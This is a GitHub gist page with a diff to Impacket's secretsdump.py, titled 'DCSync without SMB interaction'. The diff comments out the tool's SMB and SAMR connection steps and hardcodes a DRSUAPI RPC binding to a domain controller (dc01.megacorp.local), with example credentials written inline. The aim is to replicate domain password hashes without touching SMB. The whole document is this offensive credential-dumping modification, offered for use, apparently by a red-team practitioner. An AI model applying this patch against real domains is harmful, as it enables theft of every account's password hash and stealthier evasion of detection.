Skip to content

Instantly share code, notes, and snippets.

@snovvcrash
Last active April 1, 2024 23:14
Show Gist options
  • Star 26 You must be signed in to star a gist
  • Fork 8 You must be signed in to fork a gist
  • Save snovvcrash/f7d8739dd7bcfa474981d6c24c8c77d9 to your computer and use it in GitHub Desktop.
Save snovvcrash/f7d8739dd7bcfa474981d6c24c8c77d9 to your computer and use it in GitHub Desktop.
secretsdump.py DCSync without SMB interaction
diff --git a/examples/secretsdump.py b/examples/secretsdump.py
index 2062cbb8..b018c8ca 100755
--- a/examples/secretsdump.py
+++ b/examples/secretsdump.py
@@ -189,7 +189,8 @@ class DumpSecrets:
logging.error('LDAP connection failed: %s' % str(e))
try:
try:
- self.connect()
+ #self.connect()
+ pass
except Exception as e:
if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
# SMBConnection failed. That might be because there was no way to log into the
diff --git a/impacket/examples/secretsdump.py b/impacket/examples/secretsdump.py
index 3f114c55..55141a10 100644
--- a/impacket/examples/secretsdump.py
+++ b/impacket/examples/secretsdump.py
@@ -444,14 +444,14 @@ class RemoteOperations:
self.__domainName = domain
def __connectDrds(self):
- stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
+ stringBinding = epm.hept_map('dc01.megacorp.local', drsuapi.MSRPC_UUID_DRSUAPI,
protocol='ncacn_ip_tcp')
rpc = transport.DCERPCTransportFactory(stringBinding)
- rpc.setRemoteHost(self.__smbConnection.getRemoteHost())
- rpc.setRemoteName(self.__smbConnection.getRemoteName())
+ rpc.setRemoteHost('dc01.megacorp.local')
+ rpc.setRemoteName('DC01')
if hasattr(rpc, 'set_credentials'):
# This method exists only for selected protocol sequences.
- rpc.set_credentials(*(self.__smbConnection.getCredentials()))
+ rpc.set_credentials(*('snovvcrash', 'Passw0rd!', 'megacorp.local', '', '', '', None, None))
rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
self.__drsr = rpc.get_dce_rpc()
self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
@@ -2475,7 +2475,8 @@ class NTDSHashes:
try:
if self.__remoteOps is not None:
try:
- self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
+ #self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
+ pass
except:
if os.getenv('KRB5CCNAME') is not None and (self.__justUser is not None or self.__ldapFilter is not None):
# RemoteOperations failed. That might be because there was no way to log into the
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment